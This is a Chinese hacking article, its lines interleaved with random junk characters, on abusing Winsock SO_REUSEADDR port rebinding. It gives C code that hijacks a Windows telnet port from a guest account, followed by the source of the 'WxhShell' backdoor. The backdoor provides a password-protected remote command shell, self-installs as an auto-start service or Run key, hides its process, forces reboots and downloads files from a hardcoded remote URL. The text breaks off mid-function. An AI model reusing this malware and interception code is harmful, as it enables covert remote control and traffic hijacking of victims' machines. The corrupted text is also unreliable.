在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
X(fT[A_2C s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
f
l*O)r H"J>wIuGX saddr.sin_family = AF_INET;
Ur2)];WZ 3IDX3cM9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-q}I;
cH LXx`Vk>ky bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-x2&IJ! %] [6TZ} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
QsH?qI&2jp eCXw8 这意味着什么?意味着可以进行如下的攻击:
:}p<Hq 8Z 8I,/ysT: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%E`=c]! Q"b62+03 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|!.VpN& bd@1j`i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
HC/?o0 1n|K 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$qy ST 2&d|L|-> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
P_Ni
5s) BewJ!,A! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+n&9ZCH }ec3qZ@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
xr).ZswQ S7WT`2
#include
,G!mO,DX #include
O>kM2xw #include
0rj50$~$] #include
Xhm)K3RA*T DWORD WINAPI ClientThread(LPVOID lpParam);
#CTHCwYo int main()
/eNDv(g)M {
Jyo(Etp WORD wVersionRequested;
njg\y DWORD ret;
rhA>;9\ WSADATA wsaData;
"%]vSr BOOL val;
tA]Y=U+Q SOCKADDR_IN saddr;
Q 2nqA1sRk SOCKADDR_IN scaddr;
X6k-a; int err;
+EE(d/f SOCKET s;
W+ D{4: SOCKET sc;
Nvj0MD{ X int caddsize;
rX@?~(^ML HANDLE mt;
P1A5Qq DWORD tid;
C!s !j wVersionRequested = MAKEWORD( 2, 2 );
{;E]#=| err = WSAStartup( wVersionRequested, &wsaData );
J^)=8cy if ( err != 0 ) {
"=vH,_"Ql printf("error!WSAStartup failed!\n");
y?.l9
return -1;
;P!x/Ct }
r>3y87 saddr.sin_family = AF_INET;
1@{qPmf^ J!@`tR- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
:zLeS- u:GDM saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
.rs\%M|X saddr.sin_port = htons(23);
/w2jlu}yt if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
' {
WDq~mi printf("error!socket failed!\n");
=Xh*w return -1;
]q CCCI` }
'5
kSr( val = TRUE;
-/3D0`R //SO_REUSEADDR选项就是可以实现端口重绑定的
p~NFiZ, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
l~c# X3E {
U t'r^ printf("error!setsockopt failed!\n");
]B>g~t5J return -1;
(7J (.EG2e }
G*\U'w4w|* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'7(oCab"_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
*nc9u" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
$KMxq= 8lfKlXR78 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2(iv+<t {
u RPvo}!=1 ret=GetLastError();
K6M_b?XekA printf("error!bind failed!\n");
a<d$P*I(cH return -1;
u[~= a5:4 }
6;{E-y listen(s,2);
AxZaV;%* while(1)
do&0m[x% {
)R@M~d-o caddsize = sizeof(scaddr);
*Ph@XkhU //接受连接请求
[[gfR'79{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
f5dctDHP if(sc!=INVALID_SOCKET)
+!Lz]@9K {
iDrQ4> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
unN=yeut if(mt==NULL)
F vae lB {
fZF.eRP' printf("Thread Creat Failed!\n");
`(Ij@84
break;
2"C,u V@F! }
I4%25=0? }
&L`yX/N2 CloseHandle(mt);
WSV[)-=: }
`;H3['~$ closesocket(s);
y~/i{a;1y WSACleanup();
[y(AdZ0* return 0;
c?XqSK`',Z }
0|D
l/1 DWORD WINAPI ClientThread(LPVOID lpParam)
PuoN<9 # {
ZKco SOCKET ss = (SOCKET)lpParam;
?Y|*EH SOCKET sc;
C:$pAE( unsigned char buf[4096];
TB(!*t SOCKADDR_IN saddr;
kRH;c,E@ long num;
|dI,4Z\Qb DWORD val;
!:|[?M.` DWORD ret;
fw+ VR.#2H //如果是隐藏端口应用的话,可以在此处加一些判断
>J>|+W //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
F|{F'UXj| saddr.sin_family = AF_INET;
1H]E:Bq saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
B#Z-kFn@ saddr.sin_port = htons(23);
]n$&|@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/woC{J)4p {
<N}*|z7=b printf("error!socket failed!\n");
to"[r return -1;
a-Ef$(i_ }
$mZpX:7/u8 val = 100;
CY
i{WV(: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ZK8I f?SD {
Cv;\cI"& ret = GetLastError();
JwMFu5 @ return -1;
[$P.ek< }
\jGvom. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
BLQD=?Q {
h(H b+7g ret = GetLastError();
%2t#>}If! return -1;
2i_X{!0} }
nH -1,#`g if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
oq3{q {
=as\Tp#d printf("error!socket connect failed!\n");
t?404 closesocket(sc);
Xsit4Ma closesocket(ss);
4[^lE?+ return -1;
c0M>CaKD }
J0a#QvX! while(1)
z(d X< {
Zk#?.z} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Z4aK //如果是嗅探内容的话,可以再此处进行内容分析和记录
;?'=*+'> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
o YNp0Hc num = recv(ss,buf,4096,0);
iz pFl@WS if(num>0)
j~:N8(= send(sc,buf,num,0);
ajMI7j^G else if(num==0)
PquATAzQA break;
6K
6uB
~ num = recv(sc,buf,4096,0);
KXTx{R if(num>0)
4bZ
+nQgLu send(ss,buf,num,0);
.e8S^lSl else if(num==0)
xPJ
kadu break;
P<GHX~nB }
|`i.8 closesocket(ss);
;V"(! 'd closesocket(sc);
J 8""}7D return 0 ;
$bi@,&t; }
I}{Xv#@o >iIUS ":upo/xN ==========================================================
Wy.Xx-3W YMEI
J} 下边附上一个代码,,WXhSHELL
,H+LE$= &}/h[v_#' ==========================================================
oy!Dm4F %/(>>*}Kw| #include "stdafx.h"
\r+8}8 G
oJ\6&" #include <stdio.h>
bu|ecv #include <string.h>
{f
}4l #include <windows.h>
Ap[}[:U #include <winsock2.h>
Jxy94y* #include <winsvc.h>
b 7%O[ #include <urlmon.h>
l-mf~{ <DjFMTCN #pragma comment (lib, "Ws2_32.lib")
zkrcsc\Z~0 #pragma comment (lib, "urlmon.lib")
@JL+xfz SWGD(]}uz #define MAX_USER 100 // 最大客户端连接数
%:
.{?FB_ #define BUF_SOCK 200 // sock buffer
r+WY7'c #define KEY_BUFF 255 // 输入 buffer
>S:>_&I`I o>' 1ct #define REBOOT 0 // 重启
td6$w:SN,l #define SHUTDOWN 1 // 关机
@xI:ZtM h&4f9HhS= #define DEF_PORT 5000 // 监听端口
-n `igC fQB>0RR2 #define REG_LEN 16 // 注册表键长度
g@jAIy] #define SVC_LEN 80 // NT服务名长度
P5*~Wi` Ydr/ T/1 // 从dll定义API
\dz@hJl: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
eHjn<@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
~yvOR`2Gg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
pwvcH3l/r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'~ {x n iS"( // wxhshell配置信息
01nbR+e struct WSCFG {
"7k
82dw int ws_port; // 监听端口
-OS&(7 char ws_passstr[REG_LEN]; // 口令
u0(PWCi2 int ws_autoins; // 安装标记, 1=yes 0=no
d* 6 lJT char ws_regname[REG_LEN]; // 注册表键名
Pkbx/\ char ws_svcname[REG_LEN]; // 服务名
oe:@7stG char ws_svcdisp[SVC_LEN]; // 服务显示名
{G
D<s)) char ws_svcdesc[SVC_LEN]; // 服务描述信息
2AAZZx +$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
De(\<H# int ws_downexe; // 下载执行标记, 1=yes 0=no
u(s/4Lu char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
domaD"C char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-K_p?
l &l=%*`On };
M=hH:[6 & >7VOytc // default Wxhshell configuration
y2U^7VrO struct WSCFG wscfg={DEF_PORT,
wf<=rW' "xuhuanlingzhe",
rK%A=Q 1,
ZO2$Aan "Wxhshell",
cv b:FK "Wxhshell",
{5=Iu\e "WxhShell Service",
}!i#1uHUH: "Wrsky Windows CmdShell Service",
w<hw>e^. "Please Input Your Password: ",
KKd Sh1 1,
Qw{LD+r( "
http://www.wrsky.com/wxhshell.exe",
bnz2\C9^ "Wxhshell.exe"
7X$[E*kd };
E-\<,=bh -];/ *nl // 消息定义模块
fq.ui3lP) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
4X@
<PX5 char *msg_ws_prompt="\n\r? for help\n\r#>";
`;ofQz4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
p. eq
N char *msg_ws_ext="\n\rExit.";
Y?(kE` R char *msg_ws_end="\n\rQuit.";
3f2%+2Zjt, char *msg_ws_boot="\n\rReboot...";
A?V[/ char *msg_ws_poff="\n\rShutdown...";
#-_';Er\ char *msg_ws_down="\n\rSave to ";
U9[
&ci k|$08EK $ char *msg_ws_err="\n\rErr!";
S`Jo^!VJ4 char *msg_ws_ok="\n\rOK!";
:)UF# 8X@p?43 char ExeFile[MAX_PATH];
!TH3oLd" int nUser = 0;
)")_aA HANDLE handles[MAX_USER];
>xU$)uE& int OsIsNt;
@hlT7C)xK |&+0Tg~ZE SERVICE_STATUS serviceStatus;
Fq6sl}b(On SERVICE_STATUS_HANDLE hServiceStatusHandle;
y\DR,$Py 9 wun$!>& // 函数声明
F_9e ju^| int Install(void);
El;\#la int Uninstall(void);
6q[|U_3I@ int DownloadFile(char *sURL, SOCKET wsh);
(c X;a/BR int Boot(int flag);
B&~#.<23: void HideProc(void);
R\%&Q| int GetOsVer(void);
vps</f! int Wxhshell(SOCKET wsl);
v2e*mNK5 void TalkWithClient(void *cs);
prvvr;Ib int CmdShell(SOCKET sock);
phu`/1;p int StartFromService(void);
4!pMZ<$3 int StartWxhshell(LPSTR lpCmdLine);
U[EM<5@I e6C;A]T2E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
wN"j:G( VOID WINAPI NTServiceHandler( DWORD fdwControl );
M]O
_L IJxBPwh // 数据结构和表定义
nyyKA_#:5 SERVICE_TABLE_ENTRY DispatchTable[] =
"+oP((9 {
i`3h\ku {wscfg.ws_svcname, NTServiceMain},
`ZCeuOH {NULL, NULL}
UQ;ymTqdc };
,m| :U "@1e0`n
Q // 自我安装
CdCo+U5z{ int Install(void)
B{UL(6\B {
eI8rnp(Ia char svExeFile[MAX_PATH];
DQ'=$z HKEY key;
rBd}u+:* strcpy(svExeFile,ExeFile);
5OUGln5 "P)f,n // 如果是win9x系统,修改注册表设为自启动
&vf9Gp+MK if(!OsIsNt) {
!_Z\K$Ns if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l<5@a
( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`0.< RegCloseKey(key);
Y}<w)b1e| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{tUjUwhz( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8$k `bZ RegCloseKey(key);
_l`d+
\# return 0;
UF3g]>* }
~=$0=)c }
J9!}8uD }
)-D{]>8 else {
C`s ;B4x> // 如果是NT以上系统,安装为系统服务
ldd|"[Ds SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{}r#s> if (schSCManager!=0)
: GVyY]qBU {
0E*q-$P SC_HANDLE schService = CreateService
a$0,T_wD (
zX{O"w schSCManager,
SG:Fn8 wscfg.ws_svcname,
KIyhvY~ wscfg.ws_svcdisp,
Gk<M@d^hQ SERVICE_ALL_ACCESS,
,$"*X-1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=Q\z*.5j. SERVICE_AUTO_START,
Rra3)i`* SERVICE_ERROR_NORMAL,
%49P<vo`? svExeFile,
%w+"MkH
_ NULL,
c/:d$o- NULL,
!GB\-( NULL,
asDk@Gcu NULL,
&I8Q' NULL
:<t%Sf );
cK()_RB# if (schService!=0)
sGg=4(D {
5c(mgEvq CloseServiceHandle(schService);
Un[olp CloseServiceHandle(schSCManager);
s"hSn_m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/W vF}y strcat(svExeFile,wscfg.ws_svcname);
G~z=,72 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7Cx*Ts $ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
6j*L]Sc RegCloseKey(key);
>K|<hzZ return 0;
:Ma=P\J
W }
ORVFp]gG }
c[p>*FnP CloseServiceHandle(schSCManager);
9T`$gAI }
9%+Nzo(Fd
}
v BP
5n Sn6cwf9.s return 1;
~3f`= r3/. }
fP+RuZ 4b\R@Knu // 自我卸载
d@sAB1: int Uninstall(void)
JQi+y; {
UweXz.x7 HKEY key;
QCm93YZs6E "!- if(!OsIsNt) {
|hx"yy'ux if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
NOC8h\s}( RegDeleteValue(key,wscfg.ws_regname);
{RG4 m{#9 RegCloseKey(key);
CcGE4BB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HuVx^y`
@ RegDeleteValue(key,wscfg.ws_regname);
p$5uS=:4`8 RegCloseKey(key);
wSy|h*a, return 0;
x9QUo*MT }
y\a@'LFL }
t@#+vs@ }
Hnq$d6F else {
A_8UPGh8 P\jnht SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
,,FO6+4f if (schSCManager!=0)
bcM65pt_C {
/$z(BX/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
dBWi1vTF if (schService!=0)
B//2R)HS {
p`+=)
n if(DeleteService(schService)!=0) {
[8kufMY| CloseServiceHandle(schService);
'P AIh*qA CloseServiceHandle(schSCManager);
!6`pq return 0;
n]%T>\gw }
5`_UIYcI CloseServiceHandle(schService);
"YC5viX }
9$
VudE>; CloseServiceHandle(schSCManager);
TnuaP'xZ }
g!QX#_~Il }
b0(bL_, `>HM<Nn-0 return 1;
"c9T4=]&t }
K2Z]MpLD #F|q->2`o // 从指定url下载文件
0uZL*4A+C int DownloadFile(char *sURL, SOCKET wsh)
8I>'xf {
??]b,f4CNa HRESULT hr;
n_ 3g char seps[]= "/";
qsA`\%]H char *token;
u5'jIqlU char *file;
@K=:f char myURL[MAX_PATH];
8|cQW-L char myFILE[MAX_PATH];
[-5l=j
r
~ERA strcpy(myURL,sURL);
&06pUp
iS token=strtok(myURL,seps);
G5oBe6\C while(token!=NULL)
&UFj
U%Z% {
=q\Ghqj1 file=token;
r(ZMZ^ token=strtok(NULL,seps);
cv=H6j]h| }
6L/` j7XUFA GetCurrentDirectory(MAX_PATH,myFILE);
L*(!P4S%} strcat(myFILE, "\\");
1B0+dxN` strcat(myFILE, file);
%2I >0 send(wsh,myFILE,strlen(myFILE),0);
v1R t$[ send(wsh,"...",3,0);
VYo2m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+|w%}/N if(hr==S_OK)
m=4hi(g return 0;
LBIsj}e else
^~7/hm: return 1;
j^T
i6F>f r%uka5@ }
#5%\~f FJ+n-
\ // 系统电源模块
G m~2s;/ int Boot(int flag)
DtFzT>$^F {
} %bP9 HANDLE hToken;
,hVDGif TOKEN_PRIVILEGES tkp;
v =]!Po&Q- /8O;Q~a if(OsIsNt) {
UhX)?'J OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Zk+c9, q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`9`T,uJe tkp.PrivilegeCount = 1;
_'}Mg7,V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
q; ?Kmk AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
olxnQYFo if(flag==REBOOT) {
)*`cJ_t if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%E"dha JY return 0;
PR2;+i3 }
/cX%XZg else {
NY3/mS3w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
bH Nf> return 0;
Q/%]%d }
WbwS!F<au }
$/FL)m8.3 else {
Zsto8wuf# if(flag==REBOOT) {
DedY(JOvB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
3EA+tG4KnO return 0;
3%(BZ23 }
?ZAynZF|# else {
4XNdsb if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
B1k;!@@14 return 0;
}8Yu"P${Y }
V6!1(| }
PLueH/gC . .jv#<"DW return 1;
m85Hx1!p. }
~vscATQ {%BPP{OFk // win9x进程隐藏模块
Yl`)%6'5| void HideProc(void)
.FeVbZW {
2hf7F";Af O gtrp)x9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
RQ;}+S if ( hKernel != NULL )
H$k2S5,,z {
8zrLl:{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?BnX<dbi& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
2I>`{#fV FreeLibrary(hKernel);
W690N&Wz }
aflBDo1c jAxrU return;
*[+{KJ }
nU,~*Us ^0g!,L // 获取操作系统版本
l&_PsnU int GetOsVer(void)
]T; {
l\_81oZ OSVERSIONINFO winfo;
,DD}o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
ho%G GetVersionEx(&winfo);
4XgzNwm if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
f/vsf&^O return 1;
.c]@xoC else
s-Qq#T return 0;
kLe{3>}j }
6^sH3=# xs^wRE_ // 客户端句柄模块
<"@5. f1"Y int Wxhshell(SOCKET wsl)
G<>h>c1>z {
I#:Dk?"O2 SOCKET wsh;
S#b)RpY struct sockaddr_in client;
Y-.aSc53 DWORD myID;
XaH; 4O7
{a while(nUser<MAX_USER)
YM&i {
rCd*'Qg int nSize=sizeof(client);
f>[{1M]n\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
qkA8q@Y4| if(wsh==INVALID_SOCKET) return 1;
Gx;-1 [mFgo
il handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(g3DI*Z if(handles[nUser]==0)
Ns$,.D closesocket(wsh);
fS]Z`U" else
/kV5~i<1S nUser++;
U"535<mR }
]92=PA>75 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
>rY^Un{Z 3
p!t_y|SX return 0;
|w.h97fj }
D77s3AyHK "eIE5h // 关闭 socket
TGZr
[ void CloseIt(SOCKET wsh)
e3WEsD+ {
>">grDX closesocket(wsh);
ss4YeZa nUser--;
E&;;2 ExitThread(0);
XB<Q A>dLh }
P=m
l;xp 9)$gD // 客户端请求句柄
H`nd | void TalkWithClient(void *cs)
*})Np0k {
>"[Nmx0;w \xKhbpO~ SOCKET wsh=(SOCKET)cs;
=%d.wH?dZ/ char pwd[SVC_LEN];
9>/:c\q+ char cmd[KEY_BUFF];
Vo%DoZg char chr[1];
,[[Xo;q int i,j;
$pajE^d4V H^XTzE while (nUser < MAX_USER) {
xiO10:L4 N~%~Q if(wscfg.ws_passstr) {
+8.1cDEH\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g^)) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Lj1>X2.gD //ZeroMemory(pwd,KEY_BUFF);
]Cp`qayct i=0;
?:3rVfO while(i<SVC_LEN) {
:'sMrf_EA Je~`{n // 设置超时
q>m[vvt" fd_set FdRead;
gT2k}5d}p struct timeval TimeOut;
.$ xTX' FD_ZERO(&FdRead);
hw1J <Pl* FD_SET(wsh,&FdRead);
l%#z TimeOut.tv_sec=8;
ZOy^TR TimeOut.tv_usec=0;
G|j8iV O int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Go
!{T if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8u"HW~~= OBf$0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
FSb4RuD9 pwd
=chr[0]; 6SEq 2
if(chr[0]==0xd || chr[0]==0xa) { !H(V%B%
pwd=0; F6Qnz8|
break; :Fi$-g
} WQv`%%G2>
i++; rSKZc`<^
} Muok">#3.
[fg-"-+:M
// 如果是非法用户,关闭 socket T^S$|d
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -*;JUSGh
} C~"b-T
Jp(CBCG{F
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MS& 'Nj
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Asli<L(?`
}^azj>p5
while(1) { ]~9YRVeC
S5e"}.]|
ZeroMemory(cmd,KEY_BUFF); ~T9wx
4S*dNYc
// 自动支持客户端 telnet标准 "]B%V!@
j=0; fz<GPw
while(j<KEY_BUFF) { @"n]v)[4
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Svm'ds7>
cmd[j]=chr[0]; !JbWxGN`jn
if(chr[0]==0xa || chr[0]==0xd) { -_irkpdC[
cmd[j]=0; \Z_29L w=
break; 3ZhuC".c
} I~ e,']
j++; B>%;"OMp
} X{P=2h#g
} ^WmCX2a
// 下载文件 j"n"=rTTQ
if(strstr(cmd,"http://")) { 8UXtIuQ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "B0I$`~wu
if(DownloadFile(cmd,wsh)) \I 7,1I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FvDi4[F#
else 2I{kLN1TY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U3|9a8^H
} ^<Zye>KO
else { $t.M`:G
kNoS% ?1,
switch(cmd[0]) { )pG*_q
98lz2d/Fcq
// 帮助 /-Nq DRmJ
case '?': { <P#:dS%r
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [I=1
break; F_~A8y
} 1B~[L 5p9
// 安装 5?|yYQM0tK
case 'i': { hx8.
if(Install()) !CR#Fyt+9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &[kFl\
else %wN*Hu~E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5-POYug
break; C'a#.LM
} I[bWd{i:
// 卸载 af|x(:!H
case 'r': { 41I2t(H @z
if(Uninstall()) $8>II0C.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,&s%^I+CC
else -(9TM*)O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Q"p!,X=-
break; 9z7rv,
} HrHtA]
// 显示 wxhshell 所在路径 b&*N
case 'p': { apWv+A
char svExeFile[MAX_PATH]; U P*5M
strcpy(svExeFile,"\n\r"); ?P(U/DS8
strcat(svExeFile,ExeFile); @# GS4I
send(wsh,svExeFile,strlen(svExeFile),0); 8Od7e`
break; U;LX"'}
} x2tcr+o
// 重启 :\~YbA
case 'b': { 8BX9JoDi
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vo^2k13
if(Boot(REBOOT)) <STE~ZmO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Q zk aXJ
else { ,Gy2$mglB
closesocket(wsh); c6tH'oV
ExitThread(0); K/z2.Npn
} 8JU{]Z!G<;
break; wLy:S .r
} ];\XA;aOl}
// 关机 ="
pNE#
case 'd': { .GIygU_
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); co{i~['u
if(Boot(SHUTDOWN)) op61-:q/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cq}i)y
else { 1Sd<cOEd
closesocket(wsh); hpo*5Va
ExitThread(0); lA n^)EL
} 7towjwr
break; vCn\_Nu;W&
} ~=?^v[T1
// 获取shell d Y`P
case 's': { t(xe*xS
CmdShell(wsh); NGmXF_kqN
closesocket(wsh); o':K4r;
ExitThread(0); s,-}}6WO
break; /}nq?Vf
} ]fJ9.Js
// 退出 vGchKN~_
case 'x': { l f_q6y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p_CC KU
CloseIt(wsh); M2LW[z
break; SyIi*dH
} Nh1,
w
// 离开 *kt%.wPJ
case 'q': { fr8hT(,s)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); T*92 o:^
closesocket(wsh); O}X@QG2_
WSACleanup(); cpM]APF-
exit(1); aMaqlqf
break; xmHW,#%ui\
} ,soXX_Y>
} /@@?0xjX
} \omfWWpK
BQ(sjJ$v6F
// 提示信息 `h<>_zpjY
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j<}y( ~
} + {WZpP},v
} jm,:jkr
:b<<
return; 0iVeM!bM
} }[]1`2qD
U,Th-oU
// shell模块句柄 sn8r`59C
int CmdShell(SOCKET sock) C5=m~
{ [S?`OF12
STARTUPINFO si; =m
U</ F)
ZeroMemory(&si,sizeof(si)); `Wp y6o
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Nl9}*3r
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +q] kpkG!
PROCESS_INFORMATION ProcessInfo; U|v@v@IBA
char cmdline[]="cmd"; +5H1n(6)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "O8iO!:
return 0; 9XX:_9|I
} qm"AatA
IY}{1[<N
// 自身启动模式 _vUId?9@+e
int StartFromService(void) #-kx$(''V
{ |j}%"wOh
typedef struct pPJE.[)V/
{ a<P?4tbF
DWORD ExitStatus; RU\MT'E>(
DWORD PebBaseAddress; ?J6\?ct4
DWORD AffinityMask; SeBl*V
DWORD BasePriority; 4_ kg/
ULONG UniqueProcessId; o(g}eP,g}
ULONG InheritedFromUniqueProcessId; =/(R_BFna
} PROCESS_BASIC_INFORMATION; _ECH(
